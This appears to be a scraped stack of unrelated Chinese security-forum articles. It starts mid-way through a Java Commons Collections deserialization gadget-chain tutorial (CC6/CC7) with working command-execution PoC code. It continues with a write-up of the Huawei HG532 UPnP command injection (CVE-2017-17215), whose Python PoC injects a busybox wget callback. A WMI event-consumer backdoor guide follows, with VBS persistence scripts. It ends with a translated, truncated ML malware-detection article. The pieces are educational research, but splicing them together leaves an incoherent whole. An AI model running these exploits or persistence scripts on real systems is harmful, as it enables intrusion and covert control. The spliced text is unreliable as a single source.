new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
Object node = array[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
别看下边复杂，其实最终的目的只是通过反射修改keySet的返回结果为[TiedMapEntry]而已。。
### Commons Collections 7
测试环境：
* jdk 1.8
* Commons Collections 3.1
**利用链**
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
**利用链分析**
cc7后半段与cc1相同，前半段（如何触发LazyMap#get）不同，老规矩，先把相同部分的payload抄下来。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.AbstractMap;
import java.util.HashMap;
public class cc7 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}
在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。
而cc7中更加的直接，通过AbstractMap#equals来触发对LazyMap#get方法的调用：
如果这里的m是我们可控的，那么我们设置m为LazyMap，即可完成后面的rce触发。
先寻找调用equals方法的点，cc7中使用了HashTable#reconstitutionPut：
这里的key如果是我们可控的，那么m就是我们可控的，接着在HashTable#readObject中调用了reconstitutionPut方法，并将key传递进去：
fine，链已经分析完了，接下来就是看如何对参数进行控制的问题了。
在readObject方法中传递进去的key，是使用readObject得到的，那么在writeObject处，也必然会有：
很明显了，这里传递的实际上就是HashTable#put时添加进去的key和value。
POC：
这里继续解释一下几个细节点：
* 为什么要调用两次put?
在第一次调用reconstitutionPut时，会把key和value注册进table中：
此时由于tab[index]里并没有内容，所以并不会走进这个for循环内，而是给将key和value注册进tab中。在第二次调用reconstitutionPut时，tab中才有内容，我们才有机会进入到这个for循环中，从而调用equals方法。这也是为什么要调用两次put的原因。
2.为什么调用的两次put其中map中key的值分别为yy和zZ?
图中箭头指向的地方，这里的index要求两次都一样，否则无法获取到上一次的结果，再看看index是哪里来的：
这里index的计算方式关键是hash，而hash是通过key.hashCode得来的，在java中有一个小bug：
"yy".hashCode() == "zZ".hashCode()
正是这个小bug让这里能够利用，所以这里我们需要将map中put的值设置为yy和zZ，使两次计算的index都一样，才能够进入到for循环中。
* 为什么在调用完HashTable#put之后，还需要在map2中remove掉yy？
这是因为HashTable#put实际上也会调用到equals方法：
当调用完equals方法后，map2的key中就会增加一个yy键，而这个键的值为UNIXProcess这个类的实例：
这个实例并没有继承Serializable，所以是无法被序列化存进去的，如果我们不进行remove，则会报出这样一个错误：
所以我们需要将这个yy键-值给移除掉，从这里也能明白，实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令，就需要把这个键给移除掉。
## 总结
在分析完cc所有的链（在官方仓库内的）后，可以得出如下结论，cc的链大抵分为三段：
* readObject触发
* 调用transform方法
* 触发后续链达到rce的目的
## 版本相关
1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
2、4是Commons Collections 4.0以上中存在的反序列化链。
同时还对JDK的版本有要求，我使用的测试版本为1.7和1.8。
## 感谢
这是我初次接触反序列化，在复现学习的时候也遇到了很多坑…感谢以下的人对我提供的帮助：Lucifaer、sn00py、Passerby…
当然还学习了网上很多的文章，但是由于数量太多了…我就不放了。。本篇文章相当于在巨人的肩膀上写出来的，在这里统一感谢各位前辈的文章，如果这篇文章有什么错误的地方，欢迎指出来，我会对其进行修改。 | 社区文章 |
作者：fenix@知道创宇404实验室
English version: <https://paper.seebug.org/508/>
#### 背景
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
2017/11/27，Check Point 软件技术部门报告了一个华为 HG532
产品的远程命令执行漏洞(CVE-2017-17215)[【1】](https://research.checkpoint.com/good-zero-day-skiddie/ "【1】") 。
该漏洞在被报告前，互联网上产生了大量未被关注的此类漏洞攻击利用包，遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种
OKIRU/SATORI。该 Payload 功能非常简单，主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。
2017/11/23，知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。
#### 漏洞分析
##### 固件下载
网上有 HG532e
版本的公开固件，下载地址[【2】](https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
"【2】")
下载该固件，利用 binwalk 直接解压。
目标系统是 MIPS 32 位 大端架构。
##### 漏洞分析
根据 Check Point 的报告[【1】](https://research.checkpoint.com/good-zero-day-skiddie/
"【1】")，该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
UPnP 是由“通用即插即用论坛”（UPnP™
Forum）推广的一套网络协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现。
直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。
通过字符串 `NewStatusURL` 对漏洞点进行定位。
跟踪数据交叉引用
漏洞点如下
ATP_XML_GetChildNodeByName 函数的定义如下。
程序首先进行 SOAP XML 报文解析，得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接，最终调用
system() 函数执行。
snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)
system($s0)
`upg` 是路由器的一个升级程序，他的参数功能如下。
现在我们有两个命令注入点，`NewDownloadURL` 和 `NewStatusURL`。
##### 漏洞验证
目标系统提供了以下命令。
利用 wget 命令进行漏洞测试。发送以下报文。
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
可以看到，我们成功在监听的端口上收到了请求。
值得一提的是，HG532e 路由器的 uPnP 服务和防火墙都是默认开启的，防火墙默认等级为低级。
在默认设置下，从 WAN 口访问 37215 端口会被防火墙拦截，漏洞无法被利用。
##### 防护方案
2017/11/30，华为官方发布了安全公告[【4】](http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en "【4】")，确认了该漏洞。 公告中提到了以下漏洞缓解措施
* 配置路由器内置的防火墙
* 更改路由器默认密码
* 在路由器外部署防火墙
是的，没找到固件升级包，所以，没有补丁分析...
#### 总结
1. 和爱尔兰宽带路由器 SetNTPServers 命令注入[【3】](https://www.seebug.org/vuldb/ssvid-97024 "【3】")类似，这个漏洞整体来看就是一个简单的命令拼接。
2. 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
3. 还是那句话，一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全，导致命令拼接。要么是没有进行变量长度控制，造成缓冲区溢出。关于这点设备供应商应该负责任，安全开发意识非常重要。
#### 参考链接
【1】 Check Point 漏洞报告
<https://research.checkpoint.com/good-zero-day-skiddie/>
【2】 HG532e 固件下载
<https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar>
【3】 爱尔兰宽带路由器 SetNTPServers 命令注入
<https://www.seebug.org/vuldb/ssvid-97024>
【4】 华为安全公告
<http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en>
* * * | 社区文章 |
关于wmi的东西，有很多文章参考，这里给自己做一个笔记。
## WMI后门
### wmi基本逻辑结构
wmi的逻辑结构是这样的：
首先是wmi使用者，比如脚本或者其他用到wmi接口的应用程序。由wmi使用者访问CIM对象管理器WinMgmt（即WMI服务），后者再访问CIM（公共信息模型Common
Information Model）存储库。
静态或动态的信息（对象的属性）就保存在CIM库中，同时保存对象的方法。比如启动一个服务，通过执行对象的方法实现，实际上是通过COM技术调用各种dll，最后由dll中封装的API完成请求。WMI是事件驱动的，操作系统、服务、应用程序、设备驱动程序等都可以作为事件源，通过COM接口生成事件通知，WinMgmt捕捉到事件，然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样，CIM库也有分类，用面向对象的术语描述来来说，叫做命名空间(Name
Space）
可以调用wmi的方式或者语言:
* wmic.exe
* winrm.exe
* winrs.exe
* powershell
* windows scripting host(WSH)
* VBScript
* JScript
* mof
* C/C++ via IWbem* COM API
* .NET System.Management classes
如下例子：vbs脚本操作wmi对象的时候，有两种方法`winmgmts:\\`和`WbemScripting.SWBemlocator`
> not only throuth an SWbemLocator object, but also through the moniker
> "winmgmts:". A moniker is a short name that locate a namespace、class or
> instance in WMI. The name "winmgmts:" is the WMI moniker that tell the
> Windows Script Host to use the WMI objects, connects to the default
> namespace, and obtains an SWbemServices object.
不过这两者是有异同的，SWbemlocator可以做到WMI moniker不能做到的两个功能（SWbemlocator is designed to
address two specific scripting scenarios that cannot be performed using
GetObject and the WMI moniker， You must use SWbemLocator if you need to)：
1. provide user and password credentials to connect to WMI on a remote computer. The WMI moniker used with the GetObject function does not include a mechanism for specifying credentials.
2. Connect to WMI if you are runing a WMI script from within a Web page.
创建对象并连接服务器：
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root\default",username,password)
访问WMI还有一个特权的额问题。
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
这是在向WMI服务申请权限，18和23都是权限代号，以下是重要的代号:
5 在域中创建账号
7 管理审计并查看、保存和清理安全日志
9 加载和卸载设备驱动
10 记录系统时间
11 改变系统时间
18 在本地关机
22 绕过历遍检查
23 允许远程关机
### 举个例子
运行如下脚本可以获得所有权限ID及对应说明
strComputer = "."
set objWMIService = GetObject("winmgmts:\\" _
& strComputer & "\root\cimv2")
set colPrivileges = objWMIService.Security_.Privileges
for I = 1 to 27
colPrivileges.Add(I)
Next
' Display information about each privilege
For Each objItem In colPrivileges
wscript.echo objItem.Identifier & vbtab & objItem.Name _
& vbtab & objItem.Displayname _
& vbtab & "Enabled = " & objItem.IsEnabled
Next
strComputer="."
set objService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
'set objWmi = CreateObject("WbemScripting.SWBemLocator")
'set objService = objWmi.ConnectServer(strComputer, "root\cimv2")
set objSet = objService.InstancesOf("Win32_Process")
for each obj in objSet
Wscript.Echo "Name: " & obj.Name
Next
### 基于事件驱动运行
wmi是事件驱动，整个事件处理机制分4个部分:
1、事件生产者（provider)，负责生产事件。WMI包含大量事件生产者。
2、事件过滤器(fileter），系统每时每刻有大量的事件，通过自定义过滤器，脚本可以捕获感兴趣的事件进行处理。
3、事件消费者（consumer)：负责处理事件，他是由可执行程序，动态链接库(dll，由wmi服务加载)或者脚本
4、事件绑定(binding）：通过将过滤器和消费者绑定，明确什么事件由什么消费者负责处理
事件消费者可以分为临时和永久两类，临时的事件消费者只在其运行期间关心特定事件并处理，永久消费者作为类的实例注册在WMI命名空间中，一直有效到它被注销。
#### EvenetFilter
1: Data queries
`select * from Win32_NTlogEvent where logfile = 'application'`
辣么，上面这个语句是否可以修改下，类似远程控制iptables的方式，当检测到logfile里面存在特定字符，触发事件
2: Evenet queries
`select * from __InstanceModificationEvent WITHIN 10 where TargetInstance ISA
'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService'`
3: Schema queries
`select * from meta_class where __this ISA "Win32_BaseService"`
#### Consumer
可以理解为满足条件之后执行的操作，包括如下查询:
（1)ActiveScriptEventConsumer
(2) LogFileEventConsumer
(3) NTEventLogEventConsumer
(4) SMTPEventConsumer
(5) CommandLineEventConsumer
wmi需要两个可以执行，Eventfilter和consumer。
EventFilter
select * from __InstanceModificationEvent where TargetInstance Isa "Win32_localTime" And TargetInstance.Second = 1
select * from __InstanceModificationEvent WITHIN 10 where TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService'
select * from _InstanceModificationEvent within 5 where Targetinstance ISA 'Win32_service' AND
TargetInstance.name = 'spooler' and Targetinstatnce.state='stopped'
WMI提供了三个类别的WQL查询：
1. 实例查询 －－用于查询WMI类的实例
select <class property name> from <class name> where <>
2. 事件查询 －－用于一个WMI事件注册机制，如WMI对象的创建，修改或删除
交互式用户登录的事件查询：
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
3. 元查询 －－用于查询WMI类架构
select * from Meta_classes where __class like "win32%"
例子:
每10s查询一次事件修改，记录
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colMonitorProcess = objWMIService.ExecNotificationQuery _
("SELECT * FROM __instancemodificationevent WITHIN 10" & _
"WHERE TargetInstance ISA 'Win32_Service'")
WScript.Echo "Waiting for process change event ..."
Set objLatestEvent = colMonitorProcess.NextEvent
WScript.Echo VbCrLf & objLatestEvent.Path_.Class
Wscript.Echo "Process Name: " & objLatestEvent.TargetInstance.Name
Wscript.Echo "Process ID: " & objLatestEvent.TargetInstance.ProcessId
Wscript.Echo "Process State:" & objLatestEvent.TargetInstance.state
WScript.Echo "Time: " & Now
### vbs举个例子
以下来自鬼哥的文章：<http://huaidan.org/archives/1087.html>
脚本稍微修改了下，大概功能就是打开任务管理器的时候，5s之内会打开calc.exe，这个动作可以在process explorer里面监测到。
脚本稍微不同的地方是:
`__EventFilter`的时候，要制定命名空间为`root\cimv2`,整个脚本是注册在`root\subscription`里面的。
一句话:
以`root\cimv2`空间的事件为驱动，使用`root\subscription`空间里面的`CommandLineEventConsumer`来运行程序。
nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接，所以用这种语法，不用swbemlocator对象'
nslink2="winmgmts:\\.\root\subscription:"
set asec=getobject(nslink2&"CommandLineEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'
asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'
'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'
asec.CommandLineTemplate="C:\windows\system32\calc.exe" '脚本代码'
asec.ExecutablePath="C:\windows\system32\calc.exe"
set asecpath=asec.put_ '注册消费者，返回其链接'
set evtflt=getobject(nslink2&"__EventFilter").spawninstance_ '创建事件过滤器'
evtflt.name="stopped_spooler_filter"
evtflt.EventNameSpace="root\cimv2" '定义过滤器的名字'
qstr="select * from __InstanceCreationEvent within 5 " '每5秒查询一次“实例修改事件”'
qstr=qstr&"where targetinstance isa 'win32_process' and " '目标实例的类是win32_process'
qstr=qstr&"targetinstance.name='taskmgr.exe' " '实例名是taskmgr.exe'
evtflt.query=qstr '定义查询语句'
evtflt.querylanguage="wql" '定义查询语言(只能是wql)'
set fltpath=evtflt.put_ '注册过滤器，返回其链接'
set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'
fcbnd.consumer=asecpath.path '指定消费者'
fcbnd.filter=fltpath.path '指定过滤器'
fcbnd.put_ '执行绑定'
wscript.echo "success"
上面提到过有5种消费者，然后这次以LogFileEventConsumer来测试，打开任务管理器之后，在C盘根目录下生成1.php，内容是`<?php
phpinfo();?>`:
nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接，所以用这种语法，不用swbemlocator对象'
nslink2="winmgmts:\\.\root\subscription:"
set asec=getobject(nslink2&"LogFileEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'
asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'
'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'
'asec.CommandLineTemplate="C:\windows\system32\calc.exe" '脚本代码'
'asec.ExecutablePath="C:\windows\system32\calc.exe"
asec.Filename="C:\1.php"
asec.Text="<?php phpinfo();?>"
set asecpath=asec.put_ '注册消费者，返回其链接'
set evtflt=getobject(nslink2&"__EventFilter").spawninstance_ '创建事件过滤器'
evtflt.name="stopped_spooler_filter"
evtflt.EventNameSpace="root\cimv2" '定义过滤器的名字'
qstr="select * from __InstanceCreationEvent within 5 " '每5秒查询一次“实例修改事件”'
qstr=qstr&"where targetinstance isa 'win32_process' and " '目标实例的类是win32_service'
qstr=qstr&"targetinstance.name='taskmgr.exe' " '实例名是spooler'
evtflt.query=qstr '定义查询语句'
evtflt.querylanguage="wql" '定义查询语言(只能是wql)'
set fltpath=evtflt.put_ '注册过滤器，返回其链接'
set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'
fcbnd.consumer=asecpath.path '指定消费者'
fcbnd.filter=fltpath.path '指定过滤器'
fcbnd.put_ '执行绑定'
wscript.echo "success"
wmi监听用户登录和注销事件：
2003系统上，一个用户登陆的时候，日志记录ID是680，注销断开的时候ID是551，所以当一个用户登陆的时候，wmi监测登陆id，如果登陆成功，打开calc.exe：
nslink="winmgmts:\\.\root\cimv2:" '只需要本地连接，所以用这种语法，不用swbemlocator对象'
nslink2="winmgmts:\\.\root\subscription:"
set asec=getobject(nslink2&"CommandLineEventConsumer").spawninstance_ '创建“活动脚本事件消费者”'
asec.name="stopped_spooler_restart_consumer" '定义消费者的名字'
'asec.scriptingengine="vbscript" '定义脚本语言(只能是vbscript)'
asec.CommandLineTemplate="C:\windows\system32\calc.exe" '脚本代码'
set asecpath=asec.put_ '注册消费者，返回其链接'
set evtflt=getobject(nslink2&"__EventFilter").spawninstance_ '创建事件过滤器'
evtflt.name="stopped_spooler_filter"
evtflt.EventNameSpace="root\cimv2" '定义过滤器的名字'
qstr="select * from __InstanceCreationEvent within 5 " '每5秒查询一次“实例修改事件”'
qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and " qstr=qstr&"targetinstance.EventCode='680' " '实例名是win32_NTLogEvent'
evtflt.query=qstr '定义查询语句'
evtflt.querylanguage="wql" '定义查询语言(只能是wql)'
set fltpath=evtflt.put_ '注册过滤器，返回其链接'
set fcbnd=getobject(nslink2&"__FilterToConsumerBinding").spawninstance_ '创建过滤器和消费者的绑定'
fcbnd.consumer=asecpath.path '指定消费者'
fcbnd.filter=fltpath.path '指定过滤器'
fcbnd.put_ '执行绑定'
wscript.echo "success"
* <https://msdn.microsoft.com/en-us/library/mt703459(v=vs.85).aspx>
* <https://msdn.microsoft.com/en-us/library/aa393719(v=vs.85).aspx>
* <http://wooyun.jozxing.cc/static/drops/tips-8189.html>
* <http://wooyun.jozxing.cc/static/drops/tips-12354.html>
* <http://huaidan.org/archives/1087.html>
* <http://wooyun.jozxing.cc/static/drops/tips-12354.html> | 社区文章 |
> 翻译文章，原文链接：<https://www.evilsocket.net/2019/05/22/How-to-create-a-Malware-> detection-system-with-Machine-Learning>
在这篇文章中，我们将讨论我喜欢的两个主题，这些主题是过去7年中我（私人）研究的核心要素：机器学习和恶意软件检测。
我受过相当经验性和绝对非学术性的教育，我知道一个热情的开发人员想要接近机器学习并努力理解正式定义，线性代数和诸如此类的东西。因此，我将尽可能保持这种实用性，以便即使是
_受过较少教育_ 的读者也能理解并可能开始使用神经网络。
此外，大部分资源都集中在众所周知的问题上，例如[MNIST数据集](https://en.wikipedia.org/wiki/MNIST_database)上的手写数字识别（机器学习的“hello
world”），同时让读者想象更复杂的工程系统应该如何工作。通常是指如何处理非图像的输入。
TL; DR： _我不擅长数学，MNIST很无聊，检测恶意软件更有趣：D_
我还将这个用作[ergo](https://github.com/evilsocket/ergo)的一些新功能的示例用例，一个我和[chiconara](https://twitter.com/chiconara)不久前开始的项目，用于自动化机器学习模型创建，数据编码，GPU培训，基准测试和大规模部署。
与这篇文章相关的源代码可以在[这里](https://github.com/evilsocket/ergo-pe-av)找到。
**重要说明：仅此项目不构成商业防病毒的有效替代品。**
# 问题定义和数据集
传统的恶意软件检测引擎依赖于签名的使用 ——恶意软件研究人员手动选择的唯一值用以识别恶意代码的存在，同时确保非恶意样本组中没有冲突（称为 _“误报”_ ）。
这种方法有一些问题，通常很容易绕过（根据签名的类型，恶意代码中的一位或几个字节的变化可能会使恶意软件无法检测到）并且当研究人员的数量比他们需要手动逆向工程、识别和写入签名所需的独特恶意软件系列的数量少几个数量级时，这种方法就不能很好地扩展。
我们的目标是教授计算机，更具体地说是人工神经网络，在不依赖于我们需要创建的任何显式签名数据库的情况下检测Windows恶意软件，但通过简单地摄取恶意文件的数据集，我们希望能够检测并从中学习以区分恶意代码，无论是否在数据集本身内部，最重要的是，在处理新的、看不见的样本时，我们唯一知道的是哪些文件是恶意的而哪些不是，但不知道是什么使它们如此，我们将让ANN（人工神经网络）完成其余的工作。
为了做到这一点，我收集了大约200,000个[Windows
PE](https://en.wikipedia.org/wiki/Portable_Executable)样本，均匀地分为恶意（
_在VirusTotal上检测到10多个_ ）和干净（ _已知并且在VirusTotal上有0个检测_
）。由于在相同的数据集上训练和测试模型没有多大意义（因为它可以在训练集上表现得非常好，但是根本无法对新样本进行概括），这个数据集将通过遍历自动划分为3个子集：
* _训练集_ ，70％的样本，用于训练。
* _验证集_ ，15％的样本，在每个训练阶段对模型进行基准测试。
* _测试集_ ，15％的样本，在训练后对模型进行基准测试。
毋庸置疑，数据集中（正确标记的）样本的数量是模型准确性的关键，它能够正确地分离这两个类并将其推广到看不见的样本
——在训练过程中使用的越多越好。此外，理想情况下，应使用较新的样本定期更新数据集，并对模型进行重新训练，以便即使在野外出现新的独特样本时（即：wget +
crontab + ergo），也能保持较高的精度。
由于我在这篇文章中使用的特定数据集的大小，我无法在不占用带宽的情况下共享它:
但是，[我在Google云端硬盘上传了dataset.csv文件](https://drive.google.com/file/d/1HIJShr0GvQCUp_0R_kQe_WLG5PippurN/view?usp=sharing)，提取了大约340MB，你可以用它来重现这篇文章的结果。
# 可移植的可执行格式
Windows PE格式有丰富的[文档记录](https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format)和许多理解其内部的好资源，例如[Ange
Albertini](https://twitter.com/angealbertini)的 _“[Exploring the Portable
Executable format](https://www.slideshare.net/ange4771/44con2013-workshop-exploring-the-portable-executable-format) ”_ 44CON
2013演示文稿（从我拍摄下图）可以在线免费获取，因此我不会花太多时间研究细节。
我们必须牢记的关键事实是：
* PE有几个标头描述其属性和各种寻址细节，例如PE将在内存中加载的基地址以及入口点的位置。
* PE有几个部分，每个部分包含数据（常量，全局变量等），代码（在这种情况下，该部分被标记为可执行）或有时两者都包含。
* PE包含导入API和从哪些系统库导入的声明。
[致Ange Angeini的作品](https://www.slideshare.net/ange4771/44con2013-workshop-exploring-the-portable-executable-format)
例如，这是Firefox PE部分的样子：
[致“Machines Can Think”的博客](https://bsodtutorials.wordpress.com/2014/11/14/upx-packing-and-anti-packing-techniques/)
虽然在某些情况下，如果PE已经使用[诸如UPX之类的打包](https://upx.github.io/)程序进行处理，那这部分可能看起来有点不同，因为主要代码和数据部分已经过压缩，并且在运行时解压缩的代码存根已添加：
[致“Machines Can Think”的博客](https://bsodtutorials.wordpress.com/2014/11/14/upx-packing-and-anti-packing-techniques/)
我们现在要做的是看看如何将这些本质上非常不同的值(它们是所有类型的区间数和可变长度的字符串)编码成标量数的向量，每个向量在区间[0.0，1.0]中归一化，并且长度不变。这是我们的机器学习模型能够理解的输入类型。
确定要考虑的PE的哪些特征的过程可能是设计任何机器学习系统的最重要部分，这被称为 _特征工程_ ，而读取这些值并对其进行编码的行为称为 _特征提取_ 。
# 特征工程
创建项目后：
ergo create ergo-pe-av
我开始在[encode.py文件中](https://github.com/evilsocket/ergo-pe-av/blob/master/encoder.py#L122)实现特征提取算法，这是一个非常简单的起点(包括注释和多行字符串在内150行)，它为我们提供了足够的信息来达到令人感兴趣的精度水平，并且在将来可以通过附加功能轻松扩展。
cd ergo-pe-av
vim encode.py
我们向量的前11个标量编码了一组布尔属性，[LIEF](http://lief.quarkslab.com/)，我正在使用的[QuarksLab](http://lief.quarkslab.com/)中的令人惊奇的库，从PE解析
——每个属性如果为真，编码为`1.0`，如果为假，编码为`0.0`：
属性 | 描述
---|---
`pe.has_configuration` | 如果PE具有[负载配置，](https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#the-load-configuration-structure-image-only)则为True。
`pe.has_debug` | 如果PE具有Debug部分，则为True。
`pe.has_exceptions` | 如果PE正在使用异常，则为True。
`pe.has_exports` | 如果PE有任何导出符号，则为True。
`pe.has_imports` | 如果PE正在导入任何符号，则为True。
`pe.has_nx` | 如果PE 设置了[NX位，](https://en.wikipedia.org/wiki/NX_bit)则为True。
`pe.has_relocations` | 如果PE具有重定位条目，则为True。
`pe.has_resources` | 如果PE有任何资源，则为True。
`pe.has_rich_header` | 如果存在富标题，则为True。
`pe.has_signature` | 如果PE经过数字签名，则为Ture。
`pe.has_tls` | 如果PE使用[TLS，](https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#the-tls-section)则为True。
然后是64个元素，代表PE入口点函数的前64个字节，每个字节通过将其除以`255`标准化为`[0.0,1.0]`——
这将有助于模型检测那些具有非常独特的入口点的可执行文件，这些入口点在同一个系列的不同样本之间仅略有不同(您可以将其视为一个非常基本的签名):
ep_bytes = [0] * 64
try:
ep_offset = pe.entrypoint - pe.optional_header.imagebase
ep_bytes = [int(b) for b in raw[ep_offset:ep_offset+64]]
except Exception as e:
log.warning("can't get entrypoint bytes from %s: %s", filepath, e)
# ...
# ...
def encode_entrypoint(ep):
while len(ep) < 64: # pad
ep += [0.0]
return np.array(ep) / 255.0 # normalize
然后是二进制文件中ASCII表（因此大小为256）的每个字节重复的直方图 - 该数据点将编码有关文件原
始内容的基本统计信息：
# the 'raw' argument holds the entire contents of the file
def encode_histogram(raw):
histo = np.bincount(np.frombuffer(raw, dtype=np.uint8), minlength=256)
histo = histo / histo.sum() # normalize
return histo
我决定在特征向量中编码的下一件事是导入表，因为PE使用的API是非常相关的信息：D为了做到这一点，[我手动选择了](https://github.com/evilsocket/ergo-pe-av/blob/master/encoder.py#L22)我的数据集中[的150个最常见的库](https://github.com/evilsocket/ergo-pe-av/blob/master/encoder.py#L22)，每个PE使用的API将相对库的列加1，创建另一个150个值的直方图，然后通过导入的API总量进行标准化：
# the 'pe' argument holds the PE object parsed by LIEF
def encode_libraries(pe):
global libraries
imports = {dll.name.lower():[api.name if not api.is_ordinal else api.iat_address \
for api in dll.entries] for dll in pe.imports}
libs = np.array([0.0] * len(libraries))
for idx, lib in enumerate(libraries):
calls = 0
dll = "%s.dll" % lib
if lib in imports:
calls = len(imports[lib])
elif dll in imports:
calls = len(imports[dll])
libs[idx] += calls
tot = libs.sum()
return ( libs / tot ) if tot > 0 else libs # normalize
我们继续编码磁盘上PE大小与内存 _大小_ （其 _虚拟大小_ ）的比率：
min（sz，pe.virtual_size）/ max（sz，pe.virtual_size）
接下来，我们想要编码关于PE部分的一些信息，例如包含代码的部分与包含数据的部分的数量，标记为可执行的部分，每个部分的平均（ [Shannon
entropy](https://en.wikipedia.org/wiki/Entropy_information_theory)）以及它们的大小与其虚拟的平均比率size
- 这些数据点将告诉模型PE是否以及如何打包/压缩/混淆：
def encode_sections(pe):
sections = [{ \
'characteristics': ','.join(map(str, s.characteristics_lists)),
'entropy': s.entropy,
'name': s.name,
'size': s.size,
'vsize': s.virtual_size } for s in pe.sections]
num_sections = len(sections)
max_entropy = max([s['entropy'] for s in sections]) if num_sections else 0.0
max_size = max([s['size'] for s in sections]) if num_sections else 0.0
min_vsize = min([s['vsize'] for s in sections]) if num_sections else 0.0
